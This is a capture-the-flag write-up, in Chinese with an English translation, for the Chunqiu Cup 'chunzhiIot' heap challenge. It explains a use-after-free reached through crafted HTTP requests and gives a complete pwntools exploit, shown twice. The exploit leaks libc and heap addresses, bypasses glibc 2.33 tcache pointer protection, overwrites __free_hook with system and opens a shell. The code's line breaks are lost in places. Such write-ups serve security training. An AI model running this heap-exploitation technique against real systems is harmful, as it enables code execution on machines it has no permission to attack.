题目
https://gitee.com/csomebro/ctftask/blob/master/2022-05_%E6%98%A5%E7%A7%8B%E6%9D%AF/chunzhiIot.zip
解题
简单的 UAF 堆题,套上了一个解析 Http 请求的背景,首先需要逆向找到合适的构造 http 请求头的方法,找到堆题经典增删查改的函数,发现删除操作中没有清空指针。故可以 UAF。

有个小细节 libc 2.33 之后 tcache bin 的 fd 指针加了一层加密,需要多泄露堆地址。


Exp
from pwn import *
context.log_level='debug'
LOCAL = 1getIO = (lambda : process(['./ld-2.33.so','./pwn'], env={'LD_PRELOAD':'./libc.so'})) if LOCAL else (lambda : remote('101.200.198.40',40629))
libc = ELF('./libc.so')
io = getIO()
def http(op, content): s = '{0} /s HTTP/1.0\r\n'.format(op) s += 'a:a\r\n'*14 s += content return s
def add(_id, size, content): s = '\x01&{0}&{1}&{2}'.format(_id, size, content) io.sendafter('Waiting Package...\n',http('POST', s))
def show(_id): s = '\x03&{0}'.format(_id) io.sendafter('Waiting Package...\n',http('POST', s))
def delete(_id): s = '\x04&{0}'.format(_id) io.sendafter('Waiting Package...\n',http('POST', s))
def edit(_id, content): s = '\x02&{0}&{1}'.format(_id, content) io.sendafter('Waiting Package...\n',http('POST', s))
io.sendafter('Waiting Package...\n',http('DEV', 'rotartsinimda'))# io.sendline()add(0, 0x420, 'aaaaaa')add(1, 0x20, 'aaaaaa')# add(14, 0x420, 'aaaaa')# add(15, 0x420, 'aaaaa')delete(0)add(2, 0x1, '\x01\x00')show(2)
io.recvuntil('Content-Length: ')io.recvuntil('\n')main_arena = u64(io.recv(6).ljust(8, '\x00')) - 865log.success('main_arena:'+hex(main_arena))libc_base = main_arena - 1969056log.success('libc_base:'+hex(libc_base))
add(3, 0x10, 'aaaaa')add(4, 0x10, 'aaaaa')
delete(2)add(5, 0x10, 'a'*0x10)show(5)
io.recvuntil('Content-Length: ')io.recvuntil('\n')io.recvuntil('aaaaaaaaaaaaaaaa')heap_addr = u64(io.recv(6).ljust(8, '\x00'))log.success('heap_addr:'+hex(heap_addr))
delete(4)delete(3)
def encode(addr, tar): # attack PROTECT_PTR return (addr >> 12) ^ tar
edit(3, p64(encode(heap_addr+0x30,libc.sym['__free_hook']+libc_base))+'\x00')
ogg = [0xde78c,0xde78f,0xde792]add(6, 0x10, '/bin/sh\x00')add(7, 0x8, p64(libc.sym['system']+libc_base)+'\x00')
gdb.attach(io)# add(6, 0x1, 'a')delete(6)
io.interactive()第一次 pwn 题三血,纪念一下

Translate by Kimi-K3
Challenge
https://gitee.com/csomebro/ctftask/blob/master/2022-05_%E6%98%A5%E7%A7%8B%E6%9D%AF/chunzhiIot.zip
Solution
A simple UAF heap challenge wrapped in an HTTP request parsing scenario. First, you need to reverse-engineer the proper way to craft HTTP request headers, then locate the classic add/delete/show/edit functions of a heap challenge. It turns out the delete operation does not clear the pointer, so it is vulnerable to UAF.

One small detail: after libc 2.33, the fd pointer of tcache bins is protected by an extra layer of encryption, so you also need to leak a heap address.


Exp
from pwn import *
context.log_level='debug'
LOCAL = 1getIO = (lambda : process(['./ld-2.33.so','./pwn'], env={'LD_PRELOAD':'./libc.so'})) if LOCAL else (lambda : remote('101.200.198.40',40629))
libc = ELF('./libc.so')
io = getIO()
def http(op, content): s = '{0} /s HTTP/1.0\r\n'.format(op) s += 'a:a\r\n'*14 s += content return s
def add(_id, size, content): s = '\x01&{0}&{1}&{2}'.format(_id, size, content) io.sendafter('Waiting Package...\n',http('POST', s))
def show(_id): s = '\x03&{0}'.format(_id) io.sendafter('Waiting Package...\n',http('POST', s))
def delete(_id): s = '\x04&{0}'.format(_id) io.sendafter('Waiting Package...\n',http('POST', s))
def edit(_id, content): s = '\x02&{0}&{1}'.format(_id, content) io.sendafter('Waiting Package...\n',http('POST', s))
io.sendafter('Waiting Package...\n',http('DEV', 'rotartsinimda'))# io.sendline()add(0, 0x420, 'aaaaaa')add(1, 0x20, 'aaaaaa')# add(14, 0x420, 'aaaaa')# add(15, 0x420, 'aaaaa')delete(0)add(2, 0x1, '\x01\x00')show(2)
io.recvuntil('Content-Length: ')io.recvuntil('\n')main_arena = u64(io.recv(6).ljust(8, '\x00')) - 865log.success('main_arena:'+hex(main_arena))libc_base = main_arena - 1969056log.success('libc_base:'+hex(libc_base))
add(3, 0x10, 'aaaaa')add(4, 0x10, 'aaaaa')
delete(2)add(5, 0x10, 'a'*0x10)show(5)
io.recvuntil('Content-Length: ')io.recvuntil('\n')io.recvuntil('aaaaaaaaaaaaaaaa')heap_addr = u64(io.recv(6).ljust(8, '\x00'))log.success('heap_addr:'+hex(heap_addr))
delete(4)delete(3)
def encode(addr, tar): # attack PROTECT_PTR return (addr >> 12) ^ tar
edit(3, p64(encode(heap_addr+0x30,libc.sym['__free_hook']+libc_base))+'\x00')
ogg = [0xde78c,0xde78f,0xde792]add(6, 0x10, '/bin/sh\x00')add(7, 0x8, p64(libc.sym['system']+libc_base)+'\x00')
gdb.attach(io)# add(6, 0x1, 'a')delete(6)
io.interactive()My first time getting third blood on a pwn challenge — commemorating it here.
